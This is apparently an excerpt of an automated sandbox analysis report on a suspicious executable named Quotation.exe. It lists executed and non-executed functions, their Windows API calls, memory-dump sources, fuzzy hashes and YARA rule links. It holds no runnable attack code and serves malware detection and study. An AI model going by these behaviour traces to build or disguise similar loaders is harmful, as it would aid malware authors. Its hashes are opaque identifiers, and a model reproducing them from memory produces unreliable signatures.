Opcode Fuzzy Hash: 3b9d5aeb4753024ac2323fedf4887ec0200a7770af3d0f5eda4629e85134c37a
Instruction Fuzzy Hash: FAF0C2614042212AC72037751E88A2B255C8E4635971B4F3FFCA7F12D2CA7ECC31957D

Function 004066B4 Relevance: 3.0, APIs: 2, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,007A3A40,?), ref: 004066DD
CloseHandle.KERNEL32(?), ref: 004066EA

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 36c5eb473c901fdc976d11b5d23e54a470827d4f9f65b3378b18ae8ddc32ee08
Instruction ID: 38b84478e037bba77e5bda8d52abba300c1c8c141792dec0b9fd1b8b871a7deb
Opcode Fuzzy Hash: 36c5eb473c901fdc976d11b5d23e54a470827d4f9f65b3378b18ae8ddc32ee08
Instruction Fuzzy Hash: 45E0BFF0600219BFFB009F64ED05E7BB66CFB44604F008529BD51E6150D77499149A79

Function 004068F9 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000000,00000000), ref: 0040691D

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction ID: 2b20bdeb62c6161fa823f395ef17c7eb789f23499ed64d7ea8bf83f44df62fc9
Opcode Fuzzy Hash: 0b70b3aee83a9b3875abd98ff145d1d59e445032f30ecb3830cc7005a44e8a60
Instruction Fuzzy Hash: 3ED09E71118201AEDF054F20DE4AF1EBA65EF84710F114A2CF6A6D40F0DA718865AA15

Function 70022D14 Relevance: 1.6, APIs: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?), ref: 70022DD3

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f9283a66d2fad058b0aa10273f739c2b47a7375dcd5dc0b10ab366d8ce0cddd3
Instruction ID: bbb94ea985d37248bf57638408fdaa933b7129883741cf30f4bbc18622189d34
Opcode Fuzzy Hash: f9283a66d2fad058b0aa10273f739c2b47a7375dcd5dc0b10ab366d8ce0cddd3
Instruction Fuzzy Hash: 57419176800204AFEB109FA1EDC6B8D37B6EB54B37F30446AE504DA262D734A5429AC9

Function 004069E9 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,?,00000000,?,00793200,00403326,?,00793200,?,00793200,?,?), ref: 00406A00

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction ID: af586fd2f7f6880044e5fe5766d6096d47c0719768b2310f5fb2dcc6f4abfd7b
Opcode Fuzzy Hash: fcbaaa44ab5e5c94c5d9c511509a2faa156d79933b004821766515c4fe93841a
Instruction Fuzzy Hash: 68E0BF32600119BB8F205B56DD04D9FBF6DEE927A07124026F906B6150D670EA51DAE4

Function 00406926 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,?,00000000,?,00000000,?,00000000,004031A2,?,00000004,00000000,00000000,00000000,00000000), ref: 0040693D

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction ID: de6cc0abbc936f950c0aa48064430f9d9b1dfb465831d1c2e6fd43c94deb3c7e
Opcode Fuzzy Hash: f8dde0e6d0967dcd1486054d06716264d6198d5106f5dd6c4da627d3f0af441a
Instruction Fuzzy Hash: B7E0BF72200119BB8F215F46DD04D9FBF6DEE956A07114026B905A6150D670EA11D6E4

Function 70021A4A Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7002501C,00000004,00000040,70025034), ref: 70021A68

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d5a371224f8d692970f8e46aec4d56ca0667546dec059c43661fe9bd4619a4c
Instruction ID: e752745b4308cea9c87d4b3da0d9a8f21f5db5326b0bd8f7532dd6f20b304af4
Opcode Fuzzy Hash: 9d5a371224f8d692970f8e46aec4d56ca0667546dec059c43661fe9bd4619a4c
Instruction Fuzzy Hash: 9AF0A272919740EEE3148F1AACC87093AE0B718777F30856EF64DDA362C3704102AB9E

Function 004062B6 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,?,00000000,?,?,?,?,?,00406983,?,?,?,?,Call,00000000,00000000), ref: 004062DA

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction ID: 8275c49ac47c74d38988e0f8258bf7c149b7cc7998a497f72a9ef83b4f38b8ad
Opcode Fuzzy Hash: 5d90062fdd1cff32f27602045ec2692a1b627fa5483aed50fd6290a01ccc32d2
Instruction Fuzzy Hash: 51D0123204020DBBDF11AF90DD01FAB372DAB08750F01443AFE16A40A0D775D531A718

Function 004054C6 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004054D8

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b2e0c2379e296d93849bb49f42c53d0230087db54a3c83b1da74e836768489aa
Instruction ID: ded955796c7b3a29419b03b8f07dbed72bf973f4b2991851ad7e5473cbc7331c
Opcode Fuzzy Hash: b2e0c2379e296d93849bb49f42c53d0230087db54a3c83b1da74e836768489aa
Instruction Fuzzy Hash: C3C04C716446007ADA109B619E05F077759A791701F10C8297240E55E0C675E460CA2C

Function 004054E1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,00405316), ref: 004054EF

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1714e4f5a6add7520e2ba1d59cc8065429a1d3178019bc2ad80d0ec1eb9059a5
Instruction ID: 87925707e6409367d6b01bd6df3e013852da7cf14c64ffa79ed0cacb9bd9d926
Opcode Fuzzy Hash: 1714e4f5a6add7520e2ba1d59cc8065429a1d3178019bc2ad80d0ec1eb9059a5
Instruction Fuzzy Hash: 28B09239684600AADA195B00EE09F467B62ABA4701F008428B240640B0CAB210A0DB18

Function 00403131 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,004035B5,?), ref: 0040313F

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction ID: 249934cc5d2069a5a678a88893d20fb7c04287045258dfdbdab4020963f10c22
Opcode Fuzzy Hash: eeb6e3b4f510f7bce7f4acd2004317b94e1f980229c798523801c224a6f07df3
Instruction Fuzzy Hash: 94B09231140200AADA214F009E0AF057B21AB90700F108434B290680F086711060EA0D

Function 700212F8 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,700211C4,-000000A0), ref: 70021302

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 1fa8008312811d2e097c1057552e11591f2a39d55fd7b351527a2dd34a631a07
Instruction ID: 1cc576f73056ce86a65e4eb34b2c2cfb32e86ee0fc4ffdd19389ac8c4d345c5a
Opcode Fuzzy Hash: 1fa8008312811d2e097c1057552e11591f2a39d55fd7b351527a2dd34a631a07
Instruction Fuzzy Hash: 58B002B26401005FFE409755DD9AF353654F740715F741050F705D5152D57458518959

Non-executed Functions

Function 004062E4 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 124memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,00000000,?,0040623C,?,?), ref: 0040631F
GetShortPathNameW.KERNEL32(?,007A5688,00000400), ref: 00406328
GetShortPathNameW.KERNEL32(?,007A4E88,00000400), ref: 00406345
wsprintfA.USER32 ref: 00406363
GetFileSize.KERNEL32(00000000,00000000,007A4E88,C0000000,00000004,007A4E88,?), ref: 0040639B
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 004063AB
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004063DB
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,00000000,007A4A88,00000000,-0000000A,00408984,00000000,[Rename],00000000,00000000,00000000), ref: 004063FB
GlobalFree.KERNEL32(00000000), ref: 0040640D
CloseHandle.KERNEL32(00000000), ref: 00406414

Part of subcall function 004068F9: GetFileAttributesW.KERNELBASE(?,0040340D,C:\Users\user\Desktop\Quotation.exe,80000000,00000003), ref: 004068FD
Part of subcall function 004068F9: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000000,00000000), ref: 0040691D

Strings

%ls=%ls, xrefs: 00406359
[Rename], xrefs: 004063C3, 004063D2

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShort$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2900126502-461813615
Opcode ID: a2b202ff8827565348ba147a21b9a484a8522b83e041da5fa409378b6696546f
Instruction ID: 9f7f24d6a9d8affb6c81019e1e78af230b3462d5c5472edf7d8bbe76e1c752c2
Opcode Fuzzy Hash: a2b202ff8827565348ba147a21b9a484a8522b83e041da5fa409378b6696546f
Instruction Fuzzy Hash: 1B3128B16012117BD7206B358D49F7B3A5CEF81749B06453EF943FA2C2DA7D88628A7C

Function 70022209 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 700212F8: GlobalAlloc.KERNELBASE(00000040,?,700211C4,-000000A0), ref: 70021302

GlobalFree.KERNEL32(00000000), ref: 700222F1
GlobalFree.KERNEL32(00000000), ref: 70022326

Strings

s<u, xrefs: 700222D0

Memory Dump Source

Source File: 00000000.00000002.1996808927.0000000070021000.00000020.00000001.01000000.00000006.sdmp, Offset: 70020000, based on PE: true

Associated: 00000000.00000002.1996786623.0000000070020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996880927.0000000070024000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1996906021.0000000070026000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70020000_Quotation.jbxd

Similarity

API ID: Global$Free$Alloc
String ID: s<u
API String ID: 1780285237-779365171
Opcode ID: 54c028372ca542150d9af4261a1c7bace912ce94e428229afaefccb9d4f8de71
Instruction ID: 7f96d71bbdeb954ffcd8ab07b465d7aa119dc9fd293af1908d788f95d71b7297
Opcode Fuzzy Hash: 54c028372ca542150d9af4261a1c7bace912ce94e428229afaefccb9d4f8de71
Instruction Fuzzy Hash: 4531DE32100101FFE7268FA5ED84F6EB7BAFB45B32B300129F602D6161D7369999DB60

Function 00406D1B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406D90
CharNextW.USER32(?,?,?,00000000), ref: 00406D9F
CharNextW.USER32(?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DA4
CharPrevW.USER32(?,?,Error writing temporary file. Make sure your temp folder is valid.,C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,00403C8F,C:\Users\user\AppData\Local\Temp\,76F93420,004039A0), ref: 00406DBC

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 00406D22
C:\Users\user\AppData\Local\Temp\, xrefs: 00406D1B, 00406D1D
*?|<>/":, xrefs: 00406D7F

Memory Dump Source

Source File: 00000000.00000002.1950641214.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1950628419.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950654842.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000781000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950669196.00000000007B4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1952731849.00000000007DB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Quotation.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\$Error writing temporary file. Make sure your temp folder is valid.
API String ID: 589700163-776222514
